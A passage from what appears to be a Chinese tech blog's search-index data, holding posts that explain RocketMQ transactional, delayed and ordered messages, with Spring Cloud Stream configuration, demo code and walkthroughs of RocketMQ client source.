确认消息已经发送成功，此时消息为半事务消息。 生产者开始执行本地事务逻辑。 生产者根据本地事务执行结果向服务端提交二次确认结果（Commit 或是 Rollback），服务端收到确认结果后处理逻辑如下： 二次确认结果为 Commit：服务端将半事务消息标记为可投递，并投递给消费者。 二次确认结果为 Rollback：服务端不会将该消息投递给消费者，并按照如下逻辑进行回查处理。 事务消息回查步骤如下：\n在断网或者是生产者应用重启的特殊情况下，上述步骤 4 提交的二次确认最终未到达服务端，经过固定时间后，服务端将对消息生产者即生产者集群中任一生产者实例发起消息回查。 生产者收到消息回查后，需要检查对应消息的本地事务执行的最终结果。 生产者根据检查得到的本地事务的最终状态再次提交二次确认，服务端仍按照步骤 4 对半事务消息进行处理。 源码流程 有关源码的走读流程，这里有一篇文章该写的都写了，写的挺好的，我就不赘述了：\nhttps://juejin.cn/post/7017973903561605151#heading-9\n参考 https://developer.aliyun.com/article/797277 https://cloud.tencent.com/developer/article/1648617 ","date":"2022-01-13T10:19:03Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-01-13-zi-ding-xiang-xia-xue-xi-rocketmq-ba-shi-wu-xiao-xi-yuan-li-/cover.jpg","permalink":"/p/2022-01-13-zi-ding-xiang-xia-xue-xi-rocketmq-ba-shi-wu-xiao-xi-yuan-li/","title":"自顶向下学习 RocketMQ（八）：事务消息原理分析"},{"content":"","date":"2022-01-11T23:58:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-01-11-wifi-lu-you-qi-de-2-4g-he-5g-you-shen-me-qu-bie/cover.jpg","permalink":"/p/2022-01-11-wifi-lu-you-qi-de-2-4g-he-5g-you-shen-me-qu-bie/","title":"WIFI 路由器的2.4G和5G有什么区别"},{"content":"定义 “\nRocketMQ 事务消息（Transactional Message）是指应用本地事务和发送消息操作可以被定义到全局事务中，要么同时成功，要么同时失败。RocketMQ 的事务消息提供类似 X/Open XA 的分布事务功能，通过事务消息能达到分布式事务的最终一致。\n”\nDemo 下面的例子，还是以 spring cloud stream 编程模型为基础，结合 spring cloud alibaba RocketMQ 的实现，演示了如何使用事务消息。\n流程 事务消息交互流程如下图所示：\n事务消息发送步骤如下：\n生产者将半事务消息发送至消息队列 RocketMQ 版服务端。 消息队列 RocketMQ 版服务端将消息持久化成功之后，向生产者返回 Ack 确认消息已经发送成功，此时消息为半事务消息。 生产者开始执行本地事务逻辑。 生产者根据本地事务执行结果向服务端提交二次确认结果（Commit 或是 Rollback），服务端收到确认结果后处理逻辑如下： 二次确认结果为 Commit：服务端将半事务消息标记为可投递，并投递给消费者。 二次确认结果为 Rollback：服务端不会将该消息投递给消费者，并按照如下逻辑进行回查处理。 事务消息回查步骤如下：\n在断网或者是生产者应用重启的特殊情况下，上述步骤 4 提交的二次确认最终未到达服务端，经过固定时间后，服务端将对消息生产者即生产者集群中任一生产者实例发起消息回查。 生产者收到消息回查后，需要检查对应消息的本地事务执行的最终结果。 生产者根据检查得到的本地事务的最终状态再次提交二次确认，服务端仍按照步骤 4 对半事务消息进行处理。 配置 和之前一样，我将生产者消息者配置在一起了，先来看一下配置文件：\n1spring: 2 application: 3 name: mq-example 4 cloud: 5 stream: 6 bindings: 7 8 input-transaction: 9 content-type: application/json 10 destination: TransactionTopic 11 group: transaction-consumer-group 12 13 output-transaction: 14 content-type: application/json 15 destination: TransactionTopic 16 17 rocketmq: 18 # RocketMQ Binder 配置项，对应 RocketMQBinderConfigurationProperties 类 19 binder: 20 # 配置 rocketmq 的 nameserver 地址 21 name-server: 127.0.0.1:9876 22 group: rocketmq-group 23 bindings: 24 output-transaction: 25 # 对应 RocketMQProducerProperties 类 26 producer: 27 producerType: Trans 28 group: transaction-producer-group # 生产者分组 29 transactionListener: myTransactionListener 30 这里需要注意生产者类型为：Trans 即，事务消息。\n还配置了相应的生产者组和消费者组，这里回顾一下这两个概念\n消费者组：同一类 Producer 的集合，这类 Producer 发送同一类消息且发送逻辑一致。如果发送的是事务消息且原始生产者在发送之后崩溃，则 Broker 服务器会联系同一生产者组的其他生产者实例以提交或回溯消费。\n生产者组：同一类 Consumer 的集合，这类 Consumer 通常消费同一类消息且消费逻辑一致。消费者组使得在消息消费方面，实现负载均衡和容错的目标变得非常容易。要注意的是，消费者组的消费者实例必须订阅完全相同的 Topic。RocketMQ 支持两种消息模式：集群消费（Clustering）和广播消费（Broadcasting）。\n实现 transactionListener 为我们自定义的事务监听器，具体代码见下文：\n1@Component(\u0026#34;myTransactionListener\u0026#34;) 2public class TransactionListenerImpl implements TransactionListener { 3 4 @Override 5 public LocalTransactionState executeLocalTransaction(Message msg, Object arg) { 6 Object num = msg.getProperty(\u0026#34;test\u0026#34;); 7 8 if (\u0026#34;1\u0026#34;.equals(num)) { 9 System.out.println(\u0026#34;executer: \u0026#34; + new String(msg.getBody()) + \u0026#34; unknown\u0026#34;); 10 return LocalTransactionState.UNKNOW; 11 } else if (\u0026#34;2\u0026#34;.equals(num)) { 12 System.out.println(\u0026#34;executer: \u0026#34; + new String(msg.getBody()) + \u0026#34; rollback\u0026#34;); 13 return LocalTransactionState.ROLLBACK_MESSAGE; 14 } 15 System.out.println(\u0026#34;executer: \u0026#34; + new String(msg.getBody()) + \u0026#34; commit\u0026#34;); 16 return LocalTransactionState.COMMIT_MESSAGE; 17 } 18 19 @Override 20 public LocalTransactionState checkLocalTransaction(MessageExt msg) { 21 System.out.println(\u0026#34;check: \u0026#34; + new String(msg.getBody())); 22 return LocalTransactionState.COMMIT_MESSAGE; 23 } 24 25} 以上代码是参考官方的 Demo, 可以看到根据 num 的不同，返回不同的事务状态\n如果 num 为 1，则返回 UNKNOW，表示本地事务状态未知，需要定期回查事务状态，则会执行 checkLocalTransaction 方法。 如果 num 为 2，则返回 ROLLBACK_MESSAGE，表示本地事务状态为回滚，则 broker 会回滚之前的提交的事务消息，即不投递消息。 如果 num 为 3，则返回 COMMIT_MESSAGE，表示本地事务状态为提交，则 broker 会投递消息。 发送消息跟之前的代码类似：\n1 @GetMapping(\u0026#34;/send_transaction\u0026#34;) 2 public void sendTransaction() { 3 4 String msg = \u0026#34;这是一条事务消息\u0026#34;; 5 Integer num = 2; 6 7 MessageBuilder builder = MessageBuilder.withPayload(msg) 8 .setHeader(MessageHeaders.CONTENT_TYPE, MimeTypeUtils.APPLICATION_JSON); 9 builder.setHeader(\u0026#34;test\u0026#34;, String.valueOf(num)); 10 builder.setHeader(RocketMQConst.USER_TRANSACTIONAL_ARGS, \u0026#34;binder\u0026#34;); 11 Message message = builder.build(); 12 mySource.outputTransaction().send(message); 13 } 为了保证可靠消息最终一致性，需要有一个数据库表记录事务状态，\n事务开始的时候先将 UNKNOW 状态存起来，当事务异常时，返回 ROLLBACK_MESSAGE 状态，并且在数据库表中记录此状态。当事务提交成功时，将状态修改为 COMMIT_MESSAGE。\n有了事务消息表，checkLocalTransaction 方法就可以依据此表进行事务状态的查询。\n当然，如果按上图所示，一个完整的分布式事务跨越 A、B 两个系统，如果 B 系统事务失败回滚时，考虑 A 系统的事务是否需要回滚，如需要，还需要 A 系统提供回滚接口，供 B 系统调用。\n参考 https://www.alibabacloud.com/help/zh/doc-detail/43348.htm https://www.iocoder.cn/Spring-Cloud-Alibaba/RocketMQ/ ","date":"2022-01-10T23:50:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-01-10-zi-ding-xiang-xia-xue-xi-rocketmq-qi-shi-wu-xiao-xi/cover.jpg","permalink":"/p/2022-01-10-zi-ding-xiang-xia-xue-xi-rocketmq-qi-shi-wu-xiao-xi/","title":"自顶向下学习 RocketMQ（七）：事务消息"},{"content":"定义和原理 定时消息（延迟队列） 是指消息发送到 broker 后，不会立即被消费，等待特定时间投递给真正的 topic。\nbroker 有配置项 messageDelayLevel，默认值为 1s 5s 10s 30s 1m 2m 3m 4m 5m 6m 7m 8m 9m 10m 20m 30m 1h 2h 18 个 level , 可以配置自定义 messageDelayLevel。\n注意，messageDelayLevel 是 broker 的属性，不属于某个 topic。发消息时，设置 delayLevel 等级即可：msg.setDelayLevel(level)。level 有以下三种情况：\nlevel == 0，消息为非延迟消息 1\u0026lt;=level\u0026lt;=maxLevel，消息延迟特定时间，例如 level==1，延迟 1s level \u0026gt; maxLevel，则 level== maxLevel，例如 level==20，延迟 2h 定时消息会暂存在名为 SCHEDULE_TOPIC_XXXX 的 topic 中，并根据 delayTimeLevel 存入特定的 queue，queueId = delayTimeLevel – 1，即一个 queue 只存相同延迟的消息，保证具有相同发送延迟的消息能够顺序消费。broker 会调度地消费 SCHEDULE_TOPIC_XXXX，将消息写入真实的 topic。\nRocketMQ 暂时不支持任意时间的定时\n简化一个实现原理方案示意图：\n分为两个部分：\n消息的写入 消息的 Schedule 消息写入中：\n在写入 CommitLog 之前，如果是延迟消息，替换掉消息的 Topic 和 queueId（被替换为延迟消息特定的 Topic，queueId 则为延迟级别对应的 id) 消息写入 CommitLog 之后，提交 dispatchRequest 到 DispatchService 因为在第①步中 Topic 和 QueueId 被替换了，所以写入的 ConsumeQueue 实际上非真正消息应该所属的 ConsumeQueue，而是写入到 ScheduledConsumeQueue 中（这个特定的 Queue 存放不会被消费） Schedule 过程中：\n给每个 Level 设置定时器，从 ScheduledConsumeQueue 中读取信息 如果 ScheduledConsumeQueue 中的元素已近到时，那么从 CommitLog 中读取消息内容，恢复成正常的消息内容写入 CommitLog 写入 CommitLog 后提交 dispatchRequest 给 DispatchService 因为在写入 CommitLog 前已经恢复了 Topic 等属性，所以此时 DispatchService 会将消息投递到正确的 ConsumeQueue 中 Demo 配置 由于 spring cloud alibaba 低版本的 rocketmq 定时消息功能有问题，不能实现，所以必须换高版本的，下面是我使用的版本信息：\n1\u0026lt;spring.boot.version\u0026gt;2.3.12.RELEASE\u0026lt;/spring.boot.version\u0026gt; 2\u0026lt;spring.cloud.version\u0026gt;Hoxton.SR12\u0026lt;/spring.cloud.version\u0026gt; 3\u0026lt;spring.cloud.alibaba.version\u0026gt;2.2.7.RELEASE\u0026lt;/spring.cloud.alibaba.version\u0026gt; 引入的是 starter\n1 \u0026lt;dependency\u0026gt; 2 \u0026lt;groupId\u0026gt;com.alibaba.cloud\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;spring-cloud-starter-stream-rocketmq\u0026lt;/artifactId\u0026gt; 4\u0026lt;/dependency\u0026gt; 分享一下我的配置文件：\n1spring: 2 3 application: 4 name: mq-example 5 cloud: 6 stream: 7 bindings: 8 # 定义 name 为 input 的 binding 消费 9 input: 10 content-type: application/json 11 destination: test-topic3 12 group: consumer-group 13 # 定义 name 为 output 的 binding 生产 14 output-order: 15 content-type: application/json 16 destination: test-topic3 17 # Producer 配置项，对应 ProducerProperties 类 18 #producer: 19 # partition-key-expression: payload[\u0026#39;id\u0026#39;] # 分区 key 表达式。该表达式基于 Spring EL，从消息中获得分区 key。 20 #partitionCount: 3 # 分区数量 21 rocketmq: 22 # RocketMQ Binder 配置项，对应 RocketMQBinderConfigurationProperties 类 23 binder: 24 # 配置 rocketmq 的 nameserver 地址 25 name-server: 127.0.0.1:9876 26 group: rocketmq-group 27 bindings: 28 output-order: 29 # RocketMQ Producer 配置项，对应 RocketMQProducerProperties 类 30 producer: 31 #group: producer-group # 生产者分组 32 sync: true # 是否同步发送消息，默认为 false 异步。 33 input: 34 # RocketMQ Consumer 配置项，对应 RocketMQConsumerProperties 类 35 consumer: 36 #group: consumer-group # 消费者分组 37 enabled: true # 是否开启消费，默认为 true 38 broadcasting: false # 是否使用广播消费，默认为 false 使用集群消费 39 orderly: false # 是否顺序消费，默认为 false 并发消费。 这里注意红框部分在低版本有说要改成 true 才可以发送定时消息，我在高版本测试不用，true 和 false 都可以。\n发送消息 消息发送部分几乎和之前一样，只是多加一了个 header PROPERTY_DELAY_TIME_LEVEL, 这里我写的是 2，即延迟 5 秒。\n1 Map\u0026lt;String, Object\u0026gt; headers = Maps.newHashMapWithExpectedSize(16); 2 headers.put(MessageConst.PROPERTY_DELAY_TIME_LEVEL, 2); 3 headers.put(MessageConst.PROPERTY_TAGS, \u0026#34;test03\u0026#34;); 4 5 Order order = Order.builder().id(1L).desc(\u0026#34;test\u0026#34;).build(); 6 Message message = MessageBuilder.createMessage(order, new MessageHeaders(headers)); 7 mySource.output4Order().send(message); 接收消息 接收和之前没什么区别\n1@Service 2public class ReceiveService { 3 4 /** 5 * 订阅消息 6 * 7 * @param receiveMsg 8 */ 9 @StreamListener(\u0026#34;input\u0026#34;) 10 public void receiveInput1(String receiveMsg, GenericMessage message, @Headers Map headers) { 11 12 System.out.println(message.toString()); 13 System.out.println(\u0026#34;线程 ID: \u0026#34; + Thread.currentThread().getId() + \u0026#34; 接受到消息 input receive: \u0026#34; + receiveMsg); 14 } 效果 118:00:16.673 [http-nio-8080-exec-1] INFO the message has sent, ...... 218:00:21.685 [ConsumeMessageThread_1] INFO 接收到消息：{\u0026#34;id\u0026#34;:1,\u0026#34;desc\u0026#34;:\u0026#34;test\u0026#34;} 可以看到发送到接收，相距 5 秒。\n参考 https://github.com/apache/rocketmq/blob/master/docs/cn/features.md https://www.cnblogs.com/hzmark/p/mq-delay-msg.html ","date":"2022-01-10T01:23:47Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-01-10-zi-ding-xiang-xia-xue-xi-rocketmq-liu-ding-shi-xiao-xi/cover.jpg","permalink":"/p/2022-01-10-zi-ding-xiang-xia-xue-xi-rocketmq-liu-ding-shi-xiao-xi/","title":"自顶向下学习 RocketMQ（六）：定时消息"},{"content":"回顾 上文中我们对 RocketMQ 的 顺序消息 进行了 spring cloud 版本的演示，这里再回顾一下：\n顺序消息分为 分区顺序消息 和 全局顺序消息。\n全局顺序消息其实是分区顺序消息的一种特殊情况，即如果只有一个分区且同一时间只有一个消费者线程进行消费，那么就可以看作是全局顺序消息。\n在 RocketMQ 创建 topic 时默认队列（分区）数量是：8 ，是针对所有 topic 的\n如果要单独设置一个 topic 的队列（分区）数量，在 spring cloud alibaba 中可以这样配置：\n1spring: 2 3 application: 4 name: mq-example 5 cloud: 6 stream: 7 bindings: 8 # 定义 name 为 input 的 binding 消费 9 input: 10 content-type: application/json 11 destination: test-topic3 12 group: consumer-group 13 # 定义 name 为 output 的 binding 生产 14 output-order: 15 content-type: application/json 16 destination: test-topic3 17 # Producer 配置项，对应 ProducerProperties 类 18 producer: 19 partitionCount: 1 # 分区数量 注意这里 partitionCount，如将该值设置为 1，则 broker 会将消息发送到同一个分区中。\n原理 本文我们重点了解一下，RocketMQ 的顺序消息的实现原理。\n在 MQ 的模型中，顺序需要由 3 个阶段去保障：\n消息被发送时保持顺序 消息被存储时保持和发送的顺序一致 消息被消费时保持和存储的顺序一致 RocketMQ 要想实现顺序消息，核心就是 Producer 同步发送，确保一组顺序消息被发送到同一个分区队列，然后 Consumer 确保同一个队列只被一个线程消费\n发送有序 这里我们串一下代码，看一下 producer 发送消息的时候是怎么实现顺序发送的：\n1private SendResult sendDefaultImpl(Message msg, CommunicationMode communicationMode, SendCallback sendCallback, long timeout) throws MQClientException, RemotingException, MQBrokerException, InterruptedException { 2 this.makeSureStateOK(); 3 Validators.checkMessage(msg, this.defaultMQProducer); 4 long invokeID = this.random.nextLong(); 5 long beginTimestampFirst = System.currentTimeMillis(); 6 long beginTimestampPrev = beginTimestampFirst; 7 TopicPublishInfo topicPublishInfo = this.tryToFindTopicPublishInfo(msg.getTopic()); 8 if (topicPublishInfo != null \u0026amp;\u0026amp; topicPublishInfo.ok()) { 9 boolean callTimeout = false; 10 MessageQueue mq = null; 11 Exception exception = null; 12 SendResult sendResult = null; 13 int timesTotal = communicationMode == CommunicationMode.SYNC ? 1 + this.defaultMQProducer.getRetryTimesWhenSendFailed() : 1; 14 int times = 0; 15 String[] brokersSent = new String[timesTotal]; 16 17 while(true) { 18 label122: { 19 String info; 20 if (times \u0026lt; timesTotal) { 21 info = null == mq ? null : mq.getBrokerName(); 22 MessageQueue mqSelected = this.selectOneMessageQueue(topicPublishInfo, info); 23 if (mqSelected != null) { 24 mq = mqSelected; 25 brokersSent[times] = mqSelected.getBrokerName(); 26 27 long endTimestamp; 28 try { 29 beginTimestampPrev = System.currentTimeMillis(); 30 long costTime = beginTimestampPrev - beginTimestampFirst; 31 if (timeout \u0026gt;= costTime) { 32 sendResult = this.sendKernelImpl(msg, mq, communicationMode, sendCallback, topicPublishInfo, timeout - costTime); 33 endTimestamp = System.currentTimeMillis(); 34 this.updateFaultItem(mq.getBrokerName(), endTimestamp - beginTimestampPrev, false); 35 switch(communicationMode) { 36 case ASYNC: 37 return null; 38 case ONEWAY: 39 return null; 40 case SYNC: 41 if (sendResult.getSendStatus() == SendStatus.SEND_OK || !this.defaultMQProducer.isRetryAnotherBrokerWhenNotStoreOK()) { 42 return sendResult; 43 } 44 default: 45 break label122; 46 } 47 } 48 49 callTimeout = true; 50 } catch (RemotingException var26) { 51 endTimestamp = System.currentTimeMillis(); 52 this.updateFaultItem(mqSelected.getBrokerName(), endTimestamp - beginTimestampPrev, true); 53 this.log.warn(String.format(\u0026#34;sendKernelImpl exception, resend at once, InvokeID: %s, RT: %sms, Broker: %s\u0026#34;, invokeID, endTimestamp - beginTimestampPrev, mqSelected), var26); 54 this.log.warn(msg.toString()); 55 exception = var26; 56 break label122; 57 } catch (MQClientException var27) { 58 endTimestamp = System.currentTimeMillis(); 59 this.updateFaultItem(mqSelected.getBrokerName(), endTimestamp - beginTimestampPrev, true); 60 this.log.warn(String.format(\u0026#34;sendKernelImpl exception, resend at once, InvokeID: %s, RT: %sms, Broker: %s\u0026#34;, invokeID, endTimestamp - beginTimestampPrev, mqSelected), var27); 61 this.log.warn(msg.toString()); 62 exception = var27; 63 break label122; 64 } catch (MQBrokerException var28) { 65 endTimestamp = System.currentTimeMillis(); 66 this.updateFaultItem(mqSelected.getBrokerName(), endTimestamp - beginTimestampPrev, true); 67 this.log.warn(String.format(\u0026#34;sendKernelImpl exception, resend at once, InvokeID: %s, RT: %sms, Broker: %s\u0026#34;, invokeID, endTimestamp - beginTimestampPrev, mqSelected), var28); 68 this.log.warn(msg.toString()); 69 exception = var28; 70 switch(var28.getResponseCode()) { 71 case 1: 72 case 14: 73 case 16: 74 case 17: 75 case 204: 76 case 205: 77 break label122; 78 default: 79 if (sendResult != null) { 80 return sendResult; 81 } 82 83 throw var28; 84 } 85 } catch (InterruptedException var29) { 86 endTimestamp = System.currentTimeMillis(); 87 this.updateFaultItem(mqSelected.getBrokerName(), endTimestamp - beginTimestampPrev, false); 88 this.log.warn(String.format(\u0026#34;sendKernelImpl exception, throw exception, InvokeID: %s, RT: %sms, Broker: %s\u0026#34;, invokeID, endTimestamp - beginTimestampPrev, mqSelected), var29); 89 this.log.warn(msg.toString()); 90 this.log.warn(\u0026#34;sendKernelImpl exception\u0026#34;, var29); 91 this.log.warn(msg.toString()); 92 throw var29; 93 } 94 } 95 } 96 97 if (sendResult != null) { 98 return sendResult; 99 } 100 101 info = String.format(\u0026#34;Send [%d] times, still failed, cost [%d]ms, Topic: %s, BrokersSent: %s\u0026#34;, times, System.currentTimeMillis() - beginTimestampFirst, msg.getTopic(), Arrays.toString(brokersSent)); 102 info = info + FAQUrl.suggestTodo(\u0026#34;http://rocketmq.apache.org/docs/faq/\u0026#34;); 103 MQClientException mqClientException = new MQClientException(info, (Throwable)exception); 104 if (callTimeout) { 105 throw new RemotingTooMuchRequestException(\u0026#34;sendDefaultImpl call timeout\u0026#34;); 106 } 107 108 if (exception instanceof MQBrokerException) { 109 mqClientException.setResponseCode(((MQBrokerException)exception).getResponseCode()); 110 } else if (exception instanceof RemotingConnectException) { 111 mqClientException.setResponseCode(10001); 112 } else if (exception instanceof RemotingTimeoutException) { 113 mqClientException.setResponseCode(10002); 114 } else if (exception instanceof MQClientException) { 115 mqClientException.setResponseCode(10003); 116 } 117 118 throw mqClientException; 119 } 120 121 ++times; 122 } 123 } else { 124 List\u0026lt;String\u0026gt; nsList = this.getmQClientFactory().getMQClientAPIImpl().getNameServerAddressList(); 125 if (null != nsList \u0026amp;\u0026amp; !nsList.isEmpty()) { 126 throw (new MQClientException(\u0026#34;No route info of this topic, \u0026#34; + msg.getTopic() + FAQUrl.suggestTodo(\u0026#34;http://rocketmq.apache.org/docs/faq/\u0026#34;), (Throwable)null)).setResponseCode(10005); 127 } else { 128 throw (new MQClientException(\u0026#34;No name server address, please set it.\u0026#34; + FAQUrl.suggestTodo(\u0026#34;http://rocketmq.apache.org/docs/faq/\u0026#34;), (Throwable)null)).setResponseCode(10004); 129 } 130 } 131 } 上面是消息发送的代码，下面梳理下主要流程：\n消息发送时，先根据 Topic 从 Broker 拉取 TopicPublishInfo 信息，它里面包含了 Topic 下所有的 MessageQueue。\n1 TopicPublishInfo topicPublishInfo = this.tryToFindTopicPublishInfo(msg.getTopic()); 2 3 private TopicPublishInfo tryToFindTopicPublishInfo(String topic) { 4 TopicPublishInfo topicPublishInfo = (TopicPublishInfo)this.topicPublishInfoTable.get(topic); 5 if (null == topicPublishInfo || !topicPublishInfo.ok()) { 6 this.topicPublishInfoTable.putIfAbsent(topic, new TopicPublishInfo()); 7 this.mQClientFactory.updateTopicRouteInfoFromNameServer(topic); 8 topicPublishInfo = (TopicPublishInfo)this.topicPublishInfoTable.get(topic); 9 } 10 11 if (!topicPublishInfo.isHaveTopicRouterInfo() \u0026amp;\u0026amp; !topicPublishInfo.ok()) { 12 this.mQClientFactory.updateTopicRouteInfoFromNameServer(topic, true, this.defaultMQProducer); 13 topicPublishInfo = (TopicPublishInfo)this.topicPublishInfoTable.get(topic); 14 return topicPublishInfo; 15 } else { 16 return topicPublishInfo; 17 } 18 } 19 20public class TopicPublishInfo { 21 private boolean orderTopic = false; 22 private boolean haveTopicRouterInfo = false; 23 private List\u0026lt;MessageQueue\u0026gt; messageQueueList = new ArrayList(); 24 private volatile ThreadLocalIndex sendWhichQueue = new ThreadLocalIndex(); 25 private TopicRouteData topicRouteData; 26 27 public TopicPublishInfo() { 28 } 29 ... 选取一个目标队列：\n1 MessageQueue mqSelected = this.selectOneMessageQueue(topicPublishInfo, info); 接着调用核心发送方法，将消息发送到 broker\n1sendResult = this.sendKernelImpl(msg, mq, communicationMode, sendCallback, topicPublishInfo, timeout - costTime); 必须使用同步发送，异步/单向发送都无法保证消息被有序写入队列\nsendKernelImpl 方法中有同/异步的判断，这里应该是走的 case SYNC\n1case ASYNC: 2 Message tmpMessage = msg; 3 if (msgBodyCompressed) { 4 tmpMessage = MessageAccessor.cloneMessage(msg); 5 msg.setBody(prevBody); 6 } 7 8 long costTimeAsync = System.currentTimeMillis() - beginStartTime; 9 if (timeout \u0026lt; costTimeAsync) { 10 throw new RemotingTooMuchRequestException(\u0026#34;sendKernelImpl call timeout\u0026#34;); 11 } 12 13 sendResult = this.mQClientFactory.getMQClientAPIImpl().sendMessage(brokerAddr, mq.getBrokerName(), tmpMessage, requestHeader, timeout - costTimeAsync, communicationMode, sendCallback, topicPublishInfo, this.mQClientFactory, this.defaultMQProducer.getRetryTimesWhenSendAsyncFailed(), context, this); 14 break; 15case ONEWAY: 16case SYNC: 17 long costTimeSync = System.currentTimeMillis() - beginStartTime; 18 if (timeout \u0026lt; costTimeSync) { 19 throw new RemotingTooMuchRequestException(\u0026#34;sendKernelImpl call timeout\u0026#34;); 20 } 21 22 sendResult = this.mQClientFactory.getMQClientAPIImpl().sendMessage(brokerAddr, mq.getBrokerName(), msg, requestHeader, timeout - costTimeSync, communicationMode, context, this); 23 break; 24default: 25 assert false; Producer 保证发送有序，只要保证相同 ShardingKey 的消息发送到同一队列即可，以 spring cloud stream 的实现为例，可以查看 PartitionHandler 类中的 determinePartition 方法\n1 public int determinePartition(Message\u0026lt;?\u0026gt; message) { 2 Object key = this.extractKey(message); 3 int partition; 4 if (this.producerProperties.getPartitionSelectorExpression() != null) { 5 partition = (Integer)this.producerProperties.getPartitionSelectorExpression().getValue(this.evaluationContext, key, Integer.class); 6 } else { 7 partition = this.partitionSelectorStrategy.selectPartition(key, this.partitionCount); 8 } 9 10 return Math.abs(partition % this.partitionCount); 11 } 可以看到 partition 的值如果之前配置了分区 key 表达式如：\n1 producer: 2 partition-key-expression: payload[\u0026#39;id\u0026#39;] 则值是表达式的值，如没有配置，则走默认策略，默认策略的实现取的是消息的 hash:\n1private static class DefaultPartitionSelector implements PartitionSelectorStrategy { 2 private DefaultPartitionSelector() { 3 } 4 5 public int selectPartition(Object key, int partitionCount) { 6 int hashCode = key.hashCode(); 7 if (hashCode == -2147483648) { 8 hashCode = 0; 9 } 10 11 return Math.abs(hashCode); 12 } 13 } 最后队列的选择是利用 partition 和队列（分区）总数取模后得到的结果。 这样就可以保证相同 ShardingKey 的消息发送到同一队列了。\n整体的流程如下图：\n消息发送后，由于队列本身的 FIFO 特性，它保存到 broker 端也是有序的。\n消费有序 Consumer 默认是多线程并发消费同一个 MessageQueue 的，即使消息是顺序到达的，也不能保证消息顺序消费。\n那么 RocketMQ 如何保证消息顺序消费呢？\n与 producer 一样，我们按照 consumer 的流程串一下代码\nconsumer 启动时，在 MQClientInstance 类的 start 方法中进行了重平衡操作：\n1public void start() throws MQClientException { 2 3 synchronized (this) { 4 switch (this.serviceState) { 5 case CREATE_JUST: 6 this.serviceState = ServiceState.START_FAILED; 7 // If not specified,looking address from name server 8 if (null == this.clientConfig.getNamesrvAddr()) { 9 this.mQClientAPIImpl.fetchNameServerAddr(); 10 } 11 // Start request-response channel 12 this.mQClientAPIImpl.start(); 13 // Start various schedule tasks 14 this.startScheduledTask(); 15 // Start pull service 16 this.pullMessageService.start(); 17 // Start rebalance service 18 this.rebalanceService.start(); 19 // Start push service 20 this.defaultMQProducer.getDefaultMQProducerImpl().start(false); 21 log.info(\u0026#34;the client factory [{}] start OK\u0026#34;, this.clientId); 22 this.serviceState = ServiceState.RUNNING; 23 break; 24 case START_FAILED: 25 throw new MQClientException(\u0026#34;The Factory object[\u0026#34; + this.getClientId() + \u0026#34;] has been created before, and failed.\u0026#34;, null); 26 default: 27 break; 28 } 29 } 30 } 就是这一行 rebalanceService.start() ，它的目的是给自己分配 MessageQueue。要保证一个队列被一个消费者消费，那么消费者在进行消息拉取消费时就必须向 mq 服务器申请队列锁。如果申请到琐，则拉取消息，否则放弃消息拉取，等到下一个队列负载周期 (20s) 再试。\n申请锁可以参考 RebalanceImpl类 updateProcessQueueTableInRebalance 和 lock 方法中的代码：\n1 //如果是顺序消息，需要向 Broker 申请锁队列，加锁成功才开始消费。 2for (MessageQueue mq : mqSet) { 3 if (!this.processQueueTable.containsKey(mq)) { 4 if (isOrder \u0026amp;\u0026amp; !this.lock(mq)) { 5 log.warn(\u0026#34;doRebalance, {}, add a new mq failed, {}, because lock failed\u0026#34;, consumerGroup, mq); 6 continue; 7 } 8 9 this.removeDirtyOffset(mq); 10 ProcessQueue pq = new ProcessQueue(); 11 12public boolean lock(final MessageQueue mq) { 13 // 查找 Broker Master 主机地址 14 FindBrokerResult findBrokerResult = this.mQClientFactory.findBrokerAddressInSubscribe(mq.getBrokerName(), MixAll.MASTER_ID, true); 15 if (findBrokerResult != null) { 16 // 构建请求体 17 LockBatchRequestBody requestBody = new LockBatchRequestBody(); 18 requestBody.setConsumerGroup(this.consumerGroup);// 消费组 19 requestBody.setClientId(this.mQClientFactory.getClientId());// 客户端实例 ID 20 requestBody.getMqSet().add(mq);// 申请锁哪些队列 21 22 try { 23 // 发送请求，Broker 返回锁住的队列集合 24 Set\u0026lt;MessageQueue\u0026gt; lockedMq = 25 this.mQClientFactory.getMQClientAPIImpl().lockBatchMQ(findBrokerResult.getBrokerAddr(), requestBody, 1000); 26 for (MessageQueue mmqq : lockedMq) { 27 ProcessQueue processQueue = this.processQueueTable.get(mmqq); 28 if (processQueue != null) { 29 processQueue.setLocked(true); 30 processQueue.setLastLockTimestamp(System.currentTimeMillis()); 31 } 32 } 33 // 目标队列在里面，就说明加锁成功了 34 boolean lockOK = lockedMq.contains(mq); 35 log.info(\u0026#34;the message queue lock {}, {} {}\u0026#34;, 36 lockOK ? \u0026#34;OK\u0026#34; : \u0026#34;Failed\u0026#34;, 37 this.consumerGroup, 38 mq); 39 return lockOK; 40 } catch (Exception e) { 41 log.error(\u0026#34;lockBatchMQ exception, \u0026#34; + mq, e); 42 } 43 } 44 return false; 45} 这个锁是 Broker 维护的全局锁。\n一旦加锁成功，就会开始构建 PullRequest 对象开始拉取消息，消息拉取部分的代码实现在 PullMessageService 中，拉取成功后，在 PullCallback 里会将拉取到的消息填充到 ProcessQueue，然后提交消费请求，让 ConsumeMessageOrderlyService 开始消费消息。\n消费消息时，先获取 MessageQueue 的锁对象，然后通过 synchronized 关键字保证只有一个线程消费\n对于顺序消息，当消费者消费消息失败后，消息队列 RocketMQ 会自动不断地进行消息重试（每次间隔时间为 1 秒），重试最大值是 Integer.MAX_VALUE\n1case SUSPEND_CURRENT_QUEUE_A_MOMENT: 2 this.getConsumerStatsManager().incConsumeFailedTPS(consumerGroup, consumeRequest.getMessageQueue().getTopic(), msgs.size()); 3 // 校验最大重试次数，默认 Integer.MAX_VALUE 4 if (checkReconsumeTimes(msgs)) { 5 // 标记消息等待重新消费 6 consumeRequest.getProcessQueue().makeMessageToConsumeAgain(msgs); 7 // 提交消费请求，稍后重试 8 this.submitConsumeRequestLater( 9 consumeRequest.getProcessQueue(), 10 consumeRequest.getMessageQueue(), 11 context.getSuspendCurrentQueueTimeMillis()); 12 continueConsume = false; 13 } else { 14 commitOffset = consumeRequest.getProcessQueue().commit(); 15 } 16 break; 最后补充一点，在消费的过程中，会对处理队列 (ProccessQueue) 